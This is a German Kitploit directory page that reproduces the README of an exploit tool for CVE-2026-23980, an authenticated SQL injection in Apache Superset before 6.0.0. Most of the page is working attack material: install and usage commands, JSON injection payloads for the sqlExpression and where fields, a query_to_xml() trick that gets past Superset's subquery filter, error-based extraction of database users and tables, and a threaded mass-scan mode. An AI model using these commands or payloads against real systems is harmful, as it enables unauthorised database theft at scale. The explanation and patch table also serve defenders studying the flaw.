Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23980-Exploit — Exploit für CVE-2026-23980 — Authentifizierte fehlerbasierte SQL-Injection in Apache Superset < 6.0.0 über sqlExpression-Bypass | Kitploit
Tools/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

Exploit für CVE-2026-23980 — Authentifizierte fehlerbasierte SQL-Injection in Apache Superset < 6.0.0 über sqlExpression-Bypass

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 4 MonatenNoch nicht geprüft

CVE-2026-23980 - Apache Superset Authentifizierte SQL-Injection

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression geht direkt in die Abfrage. keine Parametrisierung. keine Hoffnung.

Apache Superset < 6.0.0 erlaubt authentifizierten Benutzern mit Lesezugriff, fehlerbasierte SQL-Injection über die Parameter sqlExpression oder where im Endpunkt /api/v1/chart/data durchzuführen.

Der Filter validate_adhoc_subquery() wird mithilfe von PostgreSQL-XML-Funktionen (query_to_xml, usw.) umgangen, die SQL als Funktionsargumente ausführen und für den sqlparse-Tokenizer unsichtbar sind.

  • CVSS: 6.5 Mittel (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (SQL-Injection)
  • Betroffen: Apache Superset < 6.0.0
  • Behoben: Apache Superset 6.0.0
  • Authentifizierung erforderlich: Ja (Lesezugriff)
  • Datenbank: PostgreSQL (fehlerbasierte Extraktion)

Kill-Chain

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc column sqlExpression / extras.where injiziert
  -> validate_adhoc_subquery() UMGEHEN via query_to_xml()
  -> rohes SQL erreicht PostgreSQL
  -> CAST((...) AS INT) Fehler leakt Daten in der Antwort

Installation

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

Verwendung

Recon - Fingerprinting und Auflistung von Datenquellen

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

Testen, ob eine Datenquelle injizierbar ist

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

Daten per fehlerbasierter SQLi extrahieren

root@kitploit:~
# Datenbankversion
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Datenbankbenutzer
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# Tabellen auflisten
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Aktueller Benutzer
python3 exploit.py ... --sql "SELECT current_user"

Subquery-Validierung mit query_to_xml() umgehen

Wenn validate_adhoc_subquery() Ihre Abfrage blockiert (erkennt FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

Dies verpackt die Abfrage in query_to_xml(), wodurch die FROM-Klausel vor dem Tokenizer verborgen wird.

Mehrere Zeilen ausgeben

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

Den WHERE-Injektionspunkt verwenden

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

Massen-Scan

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Proxy über Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

So funktioniert es

Injektionsvektoren

sqlExpression (Standard) - wird in eine Spaltendefinition injiziert:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - wird in die extras.where-Klausel injiziert:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

Fehlerbasierte Extraktion

Der Exploit nutzt die Typumwandlung von PostgreSQL, um Daten zu leaken:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL kann einen String nicht in eine Ganzzahl umwandeln, daher wird folgender Fehler ausgelöst:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

Der geleakte Wert wird aus der Fehlermeldung in der API-Antwort geparst.

Validierungs-Bypass

Die Funktion has_table_query() von Superset durchsucht nach FROM/JOIN, um Subqueries zu erkennen. Die PostgreSQL-Funktion query_to_xml() führt SQL aus, verbirgt es jedoch als Funktionsargument:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

Der Tokenizer sieht einen Funktionsaufruf und keine FROM-Klausel, wodurch der Filter umgangen wird.

Patch-Analyse

Version

Referenzen

  • NVD - CVE-2026-23980
  • Apache Advisory
  • Quarkslab - Bypass Superset SQLi restrictions
  • OSS Security
  • CVE-2025-48912 - Verwandter RLS-Bypass

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitsforschung bestimmt. Verwenden Sie es ausschließlich gegen Systeme, für die Sie ausdrückliche Erlaubnis zum Testen haben. Der Autor ist nicht für Missbrauch verantwortlich.

Tool herunterladen
Status
< 4.0.2Verwundbar (keine XML-Funktions-Denylist)
4.0.2Teilweiser Fix (CVE-2024-39887 - einige XML-Funktionen zur Denylist hinzugefügt)
4.1.0Erweiterte Denylist (weitere XML-Funktionen)
4.1.2Row-Level-Security-Bypass behoben (CVE-2025-48912)
6.0.0Vollständiger Fix für CVE-2026-23980